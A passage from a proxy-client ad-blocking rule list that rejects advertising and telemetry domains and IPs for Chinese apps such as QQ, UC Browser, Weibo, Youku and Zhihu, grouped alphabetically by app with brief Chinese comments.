lives.l.ott.video.qq.com, reject +host-suffix, masdk.3g.qq.com, reject +host-suffix, mfm.video.qq.com, reject +host-suffix, mini2015.qq.com, reject +host-suffix, monitor.uu.qq.com, reject +host-suffix, mqqad.cs0309.html5.qq.com, reject +host-suffix, mqqad.html5.qq.com, reject +host-suffix, mqqadr.reader.qq.com, reject +host-suffix, nc.gdt.qq.com, reject +host-suffix, news.mpush.qq.com, reject +host-suffix, news-l.play.ott.video.qq.com, reject +host-suffix, novelsns.html5.qq.com, reject +host-suffix, oth.update.mdt.qq.com, reject +host-suffix, pcbrowser.dd.qq.com, reject +host-suffix, pmir.3g.qq.com, reject +host-suffix, pvstat.html5.qq.com, reject +host-suffix, q.i.gdt.qq.com, reject +host-suffix, qqshow2-item.qq.com, reject +host-suffix, rm.gdt.qq.com, reject +host-suffix, scdown.qq.com, reject +host-suffix, setting.snswin.qq.com, reject +host-suffix, sngmta.qq.com, reject +host-suffix, strategy.beacon.qq.com, reject +host-suffix, t.gdt.qq.com, reject +host-suffix, t.sj.qq.com, reject +host-suffix, ta.qq.com, reject +host-suffix, tcss.qq.com, reject +host-suffix, tpush.html5.qq.com, reject +host-suffix, updatecenter.qq.com, reject +host-suffix, video.ureport.push.qq.com, reject +host-suffix, video.wap.mpush.qq.com, reject +host-suffix, vlive.qqvideo.tc.qq.com, reject +host-suffix, wap.mpush.qq.com, reject +host-suffix, win.gdt.qq.com, reject +host-suffix, ws.sj.qq.com, reject +host-suffix, wxsnsdy.tc.qq.com, reject +host-suffix, wxsnsdy.video.qq.com, reject +host-suffix, adsmind.tc.qq.com, reject +host-suffix, pingma.qq.com, reject +host-suffix, pingtcss.qq.com, reject +host-suffix, tajs.qq.com, reject +host-suffix, fusion.qq.com, reject +host-suffix, ios.bugly.qq.com, reject +host, safebrowsing.urlsec.qq.com, reject +host-suffix, oth.str.mdt.qq.com, reject +host-suffix, l.qq.com, reject +host, adsmind.apdcdn.tc.qq.com, reject +host, adsmind.tc.qq.com, reject +host, livep.l.t002.ottcn.com, reject +host, pgdt.ugdtimg.com, reject +host, splashqqlive.gtimg.com, reject +host, vv.video.qq.com, reject +host, wa.gtimg.com, reject +host, wxsnsdy.wxs.qq.com, reject +host, wxsmsdy.video.qq.com, reject + +# > 同花顺 +host, adm.10jqka.com.cn, reject +host, stat.10jqka.com.cn, reject + +# > 迅雷 +host, adsp.xunlei.com, reject +host, etl.xlmc.sandai.net, reject + +# > 团油 +host-keyword, img1.czb365.com, reject + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > UC浏览器 +host-keyword, m.atm.youku.com, reject +host-keyword, adp.atm.youku.com, reject +host-keyword, clickc.admaster.com, reject +host-keyword, count.atm.youku.com, reject +host-keyword, ems.youku.com, reject +host-keyword, fans.m.tmall.com, reject +host-keyword, r1.ykimg.com, reject +host-keyword, v.admaster.com, reject +host-keyword, v2.reachmax.cn, reject +host-keyword, val.atm.youku.com, reject +host-keyword, server.m.pp.cn, reject +host-keyword, puds.ucweb.com, reject +host-keyword, wgo.mmstat.com, reject +host-keyword, log.cs.pp.cn, reject +host-keyword, applog.uc.cn, reject +host-keyword, afpapi.alimama.com, reject +host-keyword, a.9game.cn, reject +host-keyword, track.uc.cn, reject +host-keyword, adtrack.ucweb.com, reject +host-keyword, utp-dmp.ucweb.com, reject +host-keyword, utp.ucweb.com, reject +host-keyword, huichuan.sm.cn, reject +host-keyword, ynuf.alipay.com, reject +host-keyword, pdds.ucweb.com, reject +host-keyword, js.union-wifi.com, reject +host-keyword, www.qmlog.cn, reject +host-keyword, cpu.baidu.com, reject +host-keyword, caclick.baidu.com, reject +host-keyword, rescn.u3.ucweb.com, reject +host-keyword, editor.sm.cn, reject +host-keyword, fc-video.cdn.bcebos.com, reject +host-keyword, vs10.bj2ct.u3.ucweb.com, reject +host, safe.ucweb.com, reject +host, px.ucweb.com, reject +host, navigis.uc.cn, reject +host, order.sm.cn, reject +host, ucdc-upaas.uc.cn, reject +host, access.open.uc.cn, reject +host, uc.ucweb.com, reject +host, emoji.uc.cn, reject +host, ssp-partner.alibaba.com, reject +host, voice-service.uc.cn, reject +host, v.uc.cn, reject +host, coral.uc.cn, reject +host, wolong-dsp.sm.cn, reject +host, cartoonapi.uc.cn, reject +host, umessage-online-zb.uc.cn, reject +host, sealine.youku.com, reject +host, api.c.uc.cn, reject +host, aid.m.taobao.com, reject +host, cms.uc.cn, reject +host, applog-perf.uc.cn, reject +host-suffix, m.atm.youku.com, reject +host-suffix, adp.atm.youku.com, reject +host-suffix, clickc.admaster.com.cn, reject +host-suffix, count.atm.youku.com, reject +host-suffix, ems.youku.com, reject +host-suffix, fans.m.tmall.com, reject +host-suffix, r1.ykimg.com, reject +host-suffix, v.admaster.com.cn, reject +host-suffix, v2.reachmax.cn, reject +host-suffix, val.atm.youku.com, reject +host-suffix, server.m.pp.cn, reject +host-suffix, puds.ucweb.com, reject +host-suffix, wgo.mmstat.com, reject +host-suffix, log.cs.pp.cn, reject +host-suffix, applog.uc.cn, reject +host-suffix, afpapi.alimama.com, reject +host-suffix, a.9game.cn, reject +host-suffix, track.uc.cn, reject +host-suffix, adtrack.ucweb.com, reject +host-suffix, utp-dmp.ucweb.com, reject +host-suffix, utp.ucweb.com, reject +host-suffix, huichuan.sm.cn, reject +host-suffix, ynuf.alipay.com, reject +host-suffix, pdds.ucweb.com, reject +host-suffix, js.union-wifi.com, reject +host-suffix, qmlog.cn, reject +host-suffix, cpu.baidu.com, reject +host-suffix, caclick.baidu.com, reject +host-suffix, rescn.u3.ucweb.com, reject +host, feedback.uc.cn, reject +host, gj.applog.uc.cn, reject +host, gj.track.uc.cn, reject +host, gjapplog.uc.cn, reject +host, gjtrack.uc.cn, reject +host, holmeshelptest.uc.cn, reject +host-suffix, ads.uc.cn, reject +host-suffix, adslot.uc.cn, reject +host-suffix, alissl.ucdl.pp.uc.cn, reject +host-suffix, api.mp.uc.cn, reject +host-suffix, api.open.uc.cn, reject +host-suffix, applog.uc.cn, reject +host-suffix, applogios.uc.cn, reject +host-suffix, bench.uc.cn, reject +host-suffix, client.tv.uc.cn, reject +host-suffix, coral-task.uc.cn, reject +host-suffix, dispatcher.upmc.uc.cn, reject +host-suffix, hcadv.video.ums.uc.cn, reject +host-suffix, hao.uc.cn, reject +host-suffix, lobmuc.cn, reject +host-suffix, open-uc.cn, reject +host-suffix, puds.test.uae.uc.cn, reject +;host-suffix, t.uc.cn, reject +host-suffix, track.uc.cn, reject +host-suffix, wmedia-track.uc.cn, reject +host-suffix, woodpecker.uc.cn, reject +host, gecko-pangle-lf.snssdk.com, reject +host, mercury-sdk.snssdk.com, reject +host, tbm.snssdk.com, reject +host, toblog.ctobsnssdk.com, reject +host, tnc3-aliec2.snssdk.com, reject + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > VariFlight +host, adv-adlog.variflight.com, reject +host, adv-ads.variflight.com, reject +host, app-ad.variflight.com, reject + +# > vivo +host, adlog.vivo.com.cn, reject +host, adreq.vivo.com.cn, reject +host, ads-marketing-vivofs.vivo.com.cn, reject +host, adsdk.vivo.com.cn, reject +host, adsstatic.vivo.com.cn, reject +host, adxlog.vivo.com.cn, reject +host, vcardsdkservice.vivo.com.cn, reject +host-keyword, stsdk.vivo.com.cn, reject +host-keyword, stsdk.vivoglobal.com, reject + +# > VIVO商城 +host-keyword, paradisestatic.vivo.com.cn, reject + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > 万能钥匙专业版 +# 感谢【All in 梭哈】分享 +host-suffix, mi.gdt.qq.com, reject +# 去除导航栏免费短剧 +host, taichi.51y5.net, reject + +# > WiFi万能钥匙 +host-keyword, app.51y5.net, reject +host-keyword, apiinit.amap.com, reject +host-keyword, c.51y5.net, reject +host-keyword, msg.push.51y5.net, reject +host-keyword, a.wkanx.com, reject +host-keyword, c.wkanx.com, reject +host-keyword, c1.wkanx.com, reject +host-keyword, ap.51y5.net, reject +host-keyword, dc.51y5.net, reject +host-keyword, push-dc.51y5.net, reject +host-keyword, news-log.51y5.net, reject +host-keyword, login.push.51y5.net, reject +host-keyword, news.51y5.net, reject +host-keyword, cds.51y5.net, reject +host-keyword, insurance.lianwifi.com, reject +host-keyword, config.51y5.net, reject +host-keyword, static.wkanx.com, reject +host-keyword, config.y5en.com, reject + +# > 微博 +host-suffix, fastimage.uve.weibo.com, reject +host-suffix, adimg.vue.weibo.com, reject +host-suffix, zymo.mps.weibo.com, reject +host-suffix, weibomingzi.com, reject +host-suffix, sdkapp.uve.weibo.com, reject +host-suffix, promote.biz.weibo.cn, reject +host-suffix, gw5.push.mcp.weibo.cn, reject +host-suffix, gw6.push.mcp.weibo.cn, reject +host-suffix, game.weibo.cn, reject +host-suffix, adimg.uve.weibo.com, reject +host-suffix, game.weibo.com, reject +host-suffix, ads.viber.com, reject +host-suffix, ads-d.viber.com, reject +host-suffix, ads.aws.viber.com, reject +host-suffix, alitui.weibo.com, reject +host-suffix, dp.im.weibo.cn, reject +host-suffix, biz.weibo.com.cn, reject +host-suffix, biz.weibo.com, reject +host-suffix, click.uve.weibo.com, reject +host-suffix, wax.weibo.com, reject +host-suffix, wbapp.uve.weibo.com, reject +host-suffix, widget.weibo.com, reject +host-suffix, dsp.edm.weibo.cn, reject +host-suffix, alitui.weibo.com.cn, reject +host-suffix, tui.weibo.com, reject +host-suffix, wax.weibo.com.cn, reject +host-suffix, ad.weibo.com, reject +# 微博开屏广告预加载 +host, bootpreload.uve.weibo.com, reject + +# > 网易 +host-suffix, dsp.youdao.com, reject +host-suffix, union.youdao.com, reject +host, ad.bn.netease.com, reject +host, ad.yixin.im, reject +host, admusicpic.music.126.net, reject +host, g1.163.com, reject +host, gorgon.youdao.com, reject +host, iad.g.163.com, reject +host, iadmat.nosdn.127.net, reject +host, iadmusicmat.music.126.net, reject +host, iadmusicmatvideo.music.126.net, reject +host, impservice.dictapp.youdao.com, reject +host, impservice.youdao.com, reject +host, n.3g.163.com, reject +host, nex.163.com, reject +host, yt-adp.nosdn.127.net, reject +host, yt-adp.ws.126.net, reject + +# > 网易云 +# 此条会导致"淘宝->成就中心->淘宝人生"进不去 +;host-keyword, ossgw.alicdn.com, reject + +# > 微软 +host-suffix, ads.msn.com, reject +host-suffix, ads1.msn.com, reject +host-suffix, ads2.msn.com, reject +host-suffix, bingads.microsoft.com, reject +host-suffix, rads.msn.com, reject +host, mobileads.msn.com, reject + +# > 歪麦去开屏 +host-suffix, ad.gameley.com, reject +host-suffix, zlsdk.1rtb.net, reject + +# > 威锋 广告联盟已包含 + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 讯飞输入法 +host-keyword, ossp.voicecloud.cn, reject +host-keyword, bj.imp.voiceads.cn, reject +host-keyword, m.panda.voiceads.cn, reject +host-keyword, iflyad.bj.openstorage.cn, reject + +# > 喜马拉雅 +host, adbehavior.ximalaya.com, reject +host, adwbs.ximalaya.com, reject +host-suffix, ad.test.ximalaya.com, reject +host-suffix, adse.test.ximalaya.com, reject +host-suffix, adweb.test.ximalaya.com, reject +host-suffix, adweb.ximalaya.com, reject +host-suffix, linkeye.ximalaya.com, reject +host-suffix, location.ximalaya.com, reject +host-suffix, xdcs-collector.ximalaya.com, reject +host-suffix, ad.ximalaya.com, reject +host-suffix, adse.ximalaya.com, reject +host-suffix, adse.wsa.ximalaya.com, reject +host-suffix, adbehavior.wsa.ximalaya.com, reject +host-suffix, adsebs.ximalaya.com, reject +host-suffix, adbs.ximalaya.com, reject + +# > 小红书 +host, ads-img-qc.xhscdn.com, reject +host, ads-video-al.xhscdn.com, reject +host, ads-video-qc.xhscdn.com, reject +host, t-ads.xiaohongshu.com, reject + +# > 小米 +host, data.mistat.xiaomi.com, reject +host, tracking.intl.miui.com, reject + +# > 小小影视 +host, 39d83s.com, reject + +# > 小利生活 +host-keyword, mpos-pic.helipay.com, reject + +# > 小爱音箱 +host, mistat.xiaomi.com, reject + +# > 晓晓优选 +host-SUFFIX, api-htp.beizi.biz, REJECT +host-suffix, yfanads.com, reject +host-suffix, 1rtb.net, reject +host-suffix, adwangmai.com, reject + +# > 新浪 +host-suffix, beacon.sina.com.cn, reject +host, u1.img.mobile.sina.cn, reject +host, sax.sina.com.cn, reject +host, saxs.sina.com.cn, reject +host, saxn.sina.com.cn, reject + +# > 雪球(可以去掉倒计时,但是误杀很多图片,默认关闭) +;host-keyword, xqimg.imedao.com, reject + +# > 向日葵 见重写 + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 云闪付 +host, ads.95516.com, reject +host, tysdk.95516.com, reject +host, cm-10-138.getui.com, reject +host, sdk.open.talk.getui.net, reject +host, sdk-conf.getui.com, reject +host, switch.cup.com.cn, reject +host, ads.cup.com.cn, reject + +# > 雅虎 +host-suffix, adserver.yahoo.com, reject +host-suffix, adspecs.yahoo.com, reject +host-suffix, advertising.yahoo.com, reject +host-suffix, gemini.yahoo.com, reject +host, admarketing.yahoo.net, reject +host, ads.auctions.yahoo.com, reject +host, ads.finance.yahoo.com, reject +host, ads.yahoo.com, reject +host, ads.yahoo.de, reject + +# > 优酷 +#host-suffix, sm.cn, reject +host-suffix, acz.youku.com,REJECT +host-suffix, adx-core.youku.com,REJECT +host-suffix, adx-open-service.youku.com,REJECT +host-suffix, rhdc-acs.youku.com,REJECT +host-suffix, partner.uc.cn,REJECT +host-suffix, ubixioe.com,REJECT +host-suffix, uczzd.cn,REJECT +host-suffix, ranfenghd.com,REJECT +host-suffix, zconfig.alibabausercontent.com,REJECT +host-suffix, bgg.baidu.com,REJECT +host-suffix, gdt.qq.com,REJECT +host-suffix, sdk.e.qq.com,REJECT +host-suffix, mazu.m.qq.com,REJECT +host-suffix, snowflake.qq.com,REJECT +host-suffix, cad.youku.com,REJECT +host-suffix, sjarvis.taobao.com,REJECT +host, adsmind.ugdtimg.com, reject +host, amdc.m.youku.com, reject +host, apiv4-iyes.youku.com, reject +host, httpdns.alicdn.com, reject +host, iyes.youku.com, reject +host, m-vali.cp31.ott.cibntv.net, reject +host, mc.atm.youku.com, reject +host, vali-g1.cp31.ott.cibntv.net, reject +host, vali-ugc.cp31.ott.cibntv.net, reject +host, yk-ssp.ad.youku.com, reject +host, ykad-data.youku.com, reject +host, ad.mobile.youku.com, reject +host, pl.cp31.ott.cibntv.net, reject +host-suffix, atm.youku.com, reject +host-suffix, actives.youku.com, reject +host-suffix, ad.api.3g.tudou.com, reject +host-suffix, ad.api.3g.youku.com, reject +host-suffix, ad.api.mobile.youku.com, reject +host-suffix, a-dxk.play.api.3g.youku.com, reject +host-suffix, b.smartvideo.youku.com, reject +host-suffix, c.yes.youku.com, reject +host-suffix, das.api.youku.com, reject +host-suffix, das.mobile.youku.com, reject +host-suffix, dev-push.m.youku.com, reject +host-suffix, dl.g.youku.com, reject +host-suffix, dmapp.youku.com, reject +host-suffix, gamex.mobile.youku.com, reject +host-suffix, hudong.pl.youku.com, reject +host-suffix, huodong.pl.youku.com, reject +host-suffix, huodong.vip.youku.com, reject +host-suffix, hz.youku.com, reject +host-suffix, l.ykimg.com, reject +host-suffix, lstat.youku.com, reject +host-suffix, m.yes.youku.com, reject +host-suffix, mobilemsg.youku.com, reject +host-suffix, msg.youku.com, reject +host-suffix, myes.youku.com, reject +host-suffix, p.l.youku.com, reject +host-suffix, passport-log.youku.com, reject +host-suffix, p-log.ykimg.com, reject +host-suffix, push.m.youku.com, reject +host-suffix, r.l.youku.com, reject +host-suffix, s.p.youku.com, reject +host-suffix, sdk.api.gamex.mobile.youku.com, reject +host-suffix, sdk.m.youku.com, reject +host-suffix, stat.youku.com, reject +host-suffix, store.tv.api.3g.youku.com, reject +host-suffix, store.xl.api.3g.youku.com, reject +host-suffix, tdrec.youku.com, reject +host-suffix, test.ott.youku.com, reject +host-suffix, urchin.lstat.youku.com, reject +host-suffix, v.l.youku.com, reject +host-suffix, val.api.youku.com, reject +host-suffix, wan.youku.com, reject +host-suffix, ykatr.youku.com, reject +host-suffix, ykrec.youku.com, reject +IP-CIDR, 223.111.27.248/32, REJECT + +# > 易车 +host, adx.yiche.com, reject +host, log.ycapp.yiche.com, reject + +# > 央视 +host, galaxy.bjcathay.com, reject +host, mdrecv.app.cntvwb.cn, reject +host, sdapprecv.app.cntvwb.cn, reject +host, vdapprecv.app.cntvwb.cn, reject +host-suffix, a.cctv.com, reject +host-suffix, ad.cctv.com, reject +host-suffix, ad.cntv.cn, reject +host-suffix, adguanggao.eee114.com, reject +host-suffix, afp.qiyi.com, reject +host-suffix, cctv.adsunion.com, reject +host-suffix, d.cntv.cn, reject +host-suffix, de.pandora.xiaomi.com, reject +host-suffix, mishop.pandora.xiaomi.com, reject +host-suffix, cws-cctv.conviva.com, reject +host-suffix, mdrecv.app.cntvwb.cn, reject +host-suffix, sdapprecv.app.cntvwb.cn, reject +host-suffix, vdapprecv.app.cntvwb.cn, reject + +# > 一刻相册 广告联盟已包含 + + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 知乎 +USER-AGENT,AVOS*, reject +host, appcloud.zhihu.com, reject +host, appcloud2.in.zhihu.com, reject +host, mqtt.zhihu.com, reject +host, sugar.zhihu.com, reject +host, crash2.zhihu.com, reject +host, 118.89.204.198, reject +IP-CIDR, 118.89.204.198/32, reject +IP6-CIDR,2402:4e00:1200:ed00:0:9089:6dac:96b6/128, reject + +# > 中关村 +host, apppv.zol.com.cn, reject +host, pvnapp.zol.com.cn, reject + +# > 中国移动 +IP-CIDR, 120.240.95.37/32, reject + +# > 中国联通 +host-suffix, m1.ad.10010.com, reject + +# > 中国电信 +host, ad.21cn.com, reject +host, ad.k.21cn.com, reject +host, admarket.21cn.com, reject +host, adshows.21cn.com, reject +IP-CIDR, 122.229.8.47/32, reject +IP-CIDR, 122.229.29.89/32, reject + +# > 中信银行 +;host-suffix, sis.jpush.io, reject +;host-suffix, s.jpush.cn, reject +;host-suffix, jpush.cn, reject +;host-suffix, im64.jpush.cn, reject +;host-suffix, im.jpush.cn, reject +;host-suffix, jpush.html5.qq.com, reject + +# > 中华万年历广告 +host-keyword, lkme.cc, reject +host-keyword, api.freed.so, reject +host-keyword, log-dmp.suishenyun.cn, reject +host-keyword, client-dmp.suishenyun.cn, reject +host-keyword, pc.suishenyun.net, reject +host-keyword, v0-client-lz.rili.cn, reject + +# > 招钱进宝 广告联盟已包含 + +# > 真不卡 +host-suffix, ttayy.cn, reject +host-suffix, zhengxiaoliu.top, reject + +# > 字节跳动 +host, ad.zijieapi.com, reject +host, applog.zijieapi.com, reject +host-suffix, -normal-lq.zijieapi.com, reject + + +# >>>>>>>>>>>>>>> ✅ 其他广告 ✅ <<<<<<<<<<<<<< +host-keyword, 112wan, reject +host-keyword, 789htbet, reject +host-suffix, XiaoQiang, reject +host-keyword, adform, reject +host-keyword, asewlfjqwlflkew, reject +host-keyword, bngpt, reject +host-keyword, bongacash, reject +host-keyword, brushshopy, reject +;host-keyword, dat8, reject +host-keyword, dfkj8, reject +host-keyword, dlads, reject +host-keyword, dtscout, reject +host-keyword, e2wysbacctt1, reject +host-keyword, exosrv, reject +host-keyword, greenplasticdua, reject +host-keyword, haowanyou, reject +host-keyword, highwebmedia, reject +host-keyword, histats, reject +host-keyword, in-page-push, reject +;host-keyword, jads, reject +host-keyword, juruigj, reject +host-keyword, lieyou, reject +host-keyword, mathtag, reject +host-keyword, mdapp09, reject +host-keyword, mifengv, reject +host-keyword, mmiyue, reject +host-keyword, o333o, reject +host-keyword, onenews, reject +host-keyword, pagespeed-mod, reject +host-keyword, stunninglover, reject +host-keyword, toateeli, reject +host-keyword, trwl1, reject +host-keyword, vidoza, reject +host-keyword, xn--2qux23c9ziyrq, reject +host-keyword, xxshuyuan, reject +host-suffix, mg.5pk, reject +host-suffix, msg.71.am, reject +host-suffix, msga.71.am, reject +host-suffix, qosp.msg.71.am, reject +host-suffix, cloudad.asia, reject +host-suffix, optimix.asia, reject +host-suffix, pixels.asia, reject +host-suffix, sync-dsp.ad-m.asia, reject +host-suffix, bshare.optimix.asia, reject +host-suffix, bx.optimix.asia, reject +host-suffix, bx01.optimix.asia, reject +host-suffix, c03.optimix.asia, reject +host-suffix, s03.optimix.asia, reject +host-suffix, snap.snapmobile.asia, reject +host-suffix, ibanners.empoweredcomms.com.au, reject +host-suffix, storewidget.pcauthority.com.au, reject +host-suffix, widgets.realestate.com.au, reject +host-suffix, ad.sensismediasmart.com.au, reject +host-suffix, widget.shopstyle.com.au, reject +host-suffix, widget.solarquotes.com.au, reject +host-suffix, partners.sportingbet.com.au, reject +host-suffix, medrx.telstra.com.au, reject +host-suffix, show.suning.beer, reject +host-suffix, 38330.bet, reject +host-suffix, 39330.bet, reject +host-suffix, hg417.bet, reject +host-suffix, aishang.bid, reject +host-suffix, akxsrsdbursfpx.bid, reject +host-suffix, aqqgli3vle.bid, reject +host-suffix, avualrhg9p.bid, reject +host-suffix, c0i8h8ac7e.bid, reject +host-suffix, esrpxyahzna.bid, reject +host-suffix, fge9vbrzwt.bid, reject +host-suffix, hpqxznpb.bid, reject +host-suffix, mdpjnppsbjv.bid, reject +host-suffix, ny7f6goy.bid, reject +host-suffix, vcfs6ip5h6.bid, reject +host-suffix, wuqdebjfhjas.bid, reject +host-suffix, sync-eu.exe.bid, reject +host-suffix, go.gotourls.bid, reject +host-suffix, chuantu.biz, reject +host-suffix, trafficfactory.biz, reject +host-suffix, udata.mixmarket.biz, reject +host-suffix, ad.openmultimedia.biz, reject +host-suffix, media.trafficfactory.biz, reject +host-suffix, rpc-php.trafficfactory.biz, reject +host-suffix, 1133.cc, reject +host-suffix, 168ad.cc, reject +host-suffix, 1l1.cc, reject +host-suffix, 22lm.cc, reject +host-suffix, 272829.cc, reject +host-suffix, 33lm.cc, reject +host-suffix, 361315.cc, reject +host-suffix, 7gg.cc, reject +host-suffix, 8184.cc, reject +host-suffix, 86.cc, reject +host-suffix, 911.cc, reject +host-suffix, 9tn.cc, reject +host-suffix, aafanke.cc, reject +host-suffix, aiwen.cc, reject +host-suffix, baoyatu.cc, reject +host-suffix, bartender.cc, reject +host-suffix, beyondcompare.cc, reject +host-suffix, cpcv.cc, reject +host-suffix, cpms.cc, reject +host-suffix, cpva.cc, reject +host-suffix, csad.cc, reject +host-suffix, cy123.cc, reject +host-suffix, cyad.cc, reject +host-suffix, daima123.cc, reject +host-suffix, girlcc.cc, reject +host-suffix, guitarpro.cc, reject +host-suffix, hivedata.cc, reject +host-suffix, imindmap.cc, reject +host-suffix, jiuku.cc, reject +host-suffix, jp88.cc, reject +host-suffix, jspg.cc, reject +host-suffix, keyshot.cc, reject +host-suffix, mindmanager.cc, reject +host-suffix, mindmapper.cc, reject +host-suffix, nicelabel.cc, reject +host-suffix, ntfsformac.cc, reject +host-suffix, p555.cc, reject +host-suffix, pangu.cc, reject +host-suffix, pasco.cc, reject +host-suffix, pdfexpert.cc, reject +host-suffix, s9w.cc, reject +host-suffix, scriptcc.cc, reject +host-suffix, tcjy66.cc, reject +host-suffix, ttlm.cc, reject +host-suffix, ujian.cc, reject +host-suffix, ulink.cc, reject +host-suffix, xinju.cc, reject +host-suffix, xstar.cc, reject +host-suffix, xxad.cc, reject +host-suffix, yhzm.cc, reject +host-suffix, zhongzicili.cc, reject +host-suffix, dm.388g.cc, reject +host-suffix, tsjdgzm.m.3dllc.cc, reject +host-suffix, dp.559.cc, reject +host-suffix, su.8881919.cc, reject +host-suffix, g.ad8.cc, reject +host-suffix, j.biquge520.cc, reject +host-suffix, m.biquge5200.cc, reject +host-suffix, kiss.blockplus.cc, reject +host-suffix, a.clipconverter.cc, reject +host-suffix, g.daman.cc, reject +host-suffix, db1.fuz.cc, reject +host-suffix, db2.fuz.cc, reject +host-suffix, uc.haoyunyuan.cc, reject +host-suffix, ad.hefei.cc, reject +host-suffix, js.soduso.cc, reject +host-suffix, ads.superad.cc, reject +host-suffix, h5.taihao.cc, reject +host-suffix, bb.tuku.cc, reject +host-suffix, api.ujian.cc, reject +host-suffix, l.ujian.cc, reject +host-suffix, t.ujian.cc, reject +host-suffix, v1.ujian.cc, reject +host-suffix, c1.ulink.cc, reject +host-suffix, app.uu.cc, reject +host-suffix, dl.uu.cc, reject +host-suffix, sdklog.uu.cc, reject +host-suffix, sdkpay.uu.cc, reject +host-suffix, ledou.dl.uu.cc, reject +host-suffix, in1.feed.uu.cc, reject +host-suffix, in1.secure.uu.cc, reject +host-suffix, game.subway.uu.cc, reject +host-suffix, ad.wretch.cc, reject +host-suffix, ai.xinju.cc, reject +host-suffix, j.ytbt.cc, reject +host-suffix, c.zgnm.cc, reject +host-suffix, 20150930.cf, reject +host-suffix, 2016bobo.cf, reject +host-suffix, ad.search.ch, reject +host-suffix, cpv.channelray, reject +host-suffix, xn--2qux23c9ziyrq.club, reject +host-suffix, e.zhuyuanp.club, reject +host-suffix, m.zhuyuanp.club, reject +host-suffix, 1017.cn, reject +host-suffix, 107iwh.cn, reject +host-suffix, 189zj.cn, reject +host-suffix, 1kmb.cn, reject +host-suffix, 1lib.cn, reject +host-suffix, 1tlm.cn, reject +host-suffix, 2144.cn, reject +host-suffix, 2345.cn, reject +host-suffix, 268mob.cn, reject +host-suffix, 339.cn, reject +host-suffix, 35baba.cn, reject +host-suffix, 37wan.cn, reject +host-suffix, 4336wang.cn, reject +host-suffix, 517m.cn, reject +host-suffix, 51mld.cn, reject +host-suffix, 51mypc.cn, reject +host-suffix, 51zhanzhuang.cn, reject +host-suffix, 52lubo.cn, reject +host-suffix, 58mingri.cn, reject +host-suffix, 58mingtian.cn, reject +host-suffix, 6615338.cn, reject +host-suffix, 7891655.cn, reject +host-suffix, 7wen.cn, reject +host-suffix, 81c.cn, reject +host-suffix, 88818122.cn, reject +host-suffix, 88shu.cn, reject +host-suffix, 8ox.cn, reject +host-suffix, 9dtiny.cn, reject +host-suffix, 9s6q.cn, reject +host-suffix, acasys88.cn, reject +host-suffix, ad-plus.cn, reject +host-suffix, adccoo.cn, reject +host-suffix, adcome.cn, reject +host-suffix, adfuture.cn, reject +host-suffix, adlive.cn, reject +host-suffix, admon.cn, reject +host-suffix, adpro.cn, reject +host-suffix, adpush.cn, reject +host-suffix, adreal.cn, reject +host-suffix, aduu.cn, reject +host-suffix, adview.cn, reject +host-suffix, advmob.cn, reject +host-suffix, agrant.cn, reject +host-suffix, aihaoduo.cn, reject +host-suffix, akrwi.cn, reject +host-suffix, aliqqjd.cn, reject +host-suffix, alistatic.cn, reject +host-suffix, analysys.cn, reject +host-suffix, appdriver.cn, reject +host-suffix, appget.cn, reject +host-suffix, appuu.cn, reject +host-suffix, aqgyju.cn, reject +host-suffix, aswlx.cn, reject +host-suffix, atplay.cn, reject +host-suffix, b7nkd.cn, reject +host-suffix, baycode.cn, reject +host-suffix, bbcoe.cn, reject +host-suffix, bdtongfei.cn, reject +host-suffix, beerto.cn, reject +host-suffix, bfshan.cn, reject +host-suffix, bingdianhuanyuan.cn, reject +host-suffix, bizhixiang.cn, reject +host-suffix, bkyhq.cn, reject +host-suffix, bllbaby.cn, reject +host-suffix, bosiwangzi.cn, reject +host-suffix, boyxu.cn, reject +host-suffix, bsdev.cn, reject +host-suffix, bshare.cn, reject +host-suffix, bxjpl.cn, reject +host-suffix, bypbwm.cn, reject +host-suffix, caliyuna.cn, reject +host-suffix, casee.cn, reject +host-suffix, chaojilamei.cn, reject +host-suffix, chenggao.cn, reject +host-suffix, chushoushijian.cn, reject +host-suffix, clicki.cn, reject +host-suffix, cnnic.cn, reject +host-suffix, cnzz.cn, reject +host-suffix, codenow.cn, reject +host-suffix, cooolyi.cn, reject +host-suffix, crasheye.cn, reject +host-suffix, czjiuding.cn, reject +host-suffix, dazhonghua.cn, reject +host-suffix, ddapp.cn, reject +host-suffix, ddpxhq.cn, reject +host-suffix, dhxyzx.cn, reject +host-suffix, difnxm.cn, reject +host-suffix, doudao.cn, reject +host-suffix, dreamfull.cn, reject +host-suffix, dv8c1t.cn, reject +host-suffix, dvzk66.cn, reject +host-suffix, epernn.cn, reject +host-suffix, eteun.cn, reject +host-suffix, evefashion.cn, reject +host-suffix, eyouv.cn, reject +host-suffix, ezucods.cn, reject +host-suffix, facebookma.cn, reject +host-suffix, finead.cn, reject +host-suffix, firefang.cn, reject +host-suffix, flash.cn, reject +host-suffix, founseezb.cn, reject +host-suffix, fraudmetrix.cn, reject +host-suffix, frdhq.cn, reject +host-suffix, freedrive.cn, reject +host-suffix, fxtducb.cn, reject +host-suffix, fytza.cn, reject +host-suffix, gclick.cn, reject +host-suffix, gcs1.cn, reject +host-suffix, godloveme.cn, reject +host-suffix, gouzhibao.cn, reject +host-suffix, gpydym.cn, reject +host-suffix, greenhouseglobal.cn, reject +host-suffix, gridsumdissector.cn, reject +host-suffix, gscxs.cn, reject +host-suffix, gtmucs.cn, reject +host-suffix, gugulonger.cn, reject +host-suffix, gx38.cn, reject +host-suffix, gzlykj.cn, reject +host-suffix, gzmjnx.cn, reject +host-suffix, hbalx.cn, reject +host-suffix, hbssjd.cn, reject +host-suffix, hechaocheng.cn, reject +host-suffix, hejingroup.cn, reject +host-suffix, hivecn.cn, reject +host-suffix, hr41.cn, reject +host-suffix, huaxinxunye.cn, reject +host-suffix, hxstfxx.cn, reject +host-suffix, ibafnw.cn, reject +host-suffix, icast.cn, reject +host-suffix, iconworkshop.cn, reject +host-suffix, identified.cn, reject +host-suffix, immob.cn, reject +host-suffix, inmobi.cn, reject +host-suffix, inmobicdn.cn, reject +host-suffix, instreet.cn, reject +host-suffix, intely.cn, reject +host-suffix, jbflil.cn, reject +host-suffix, 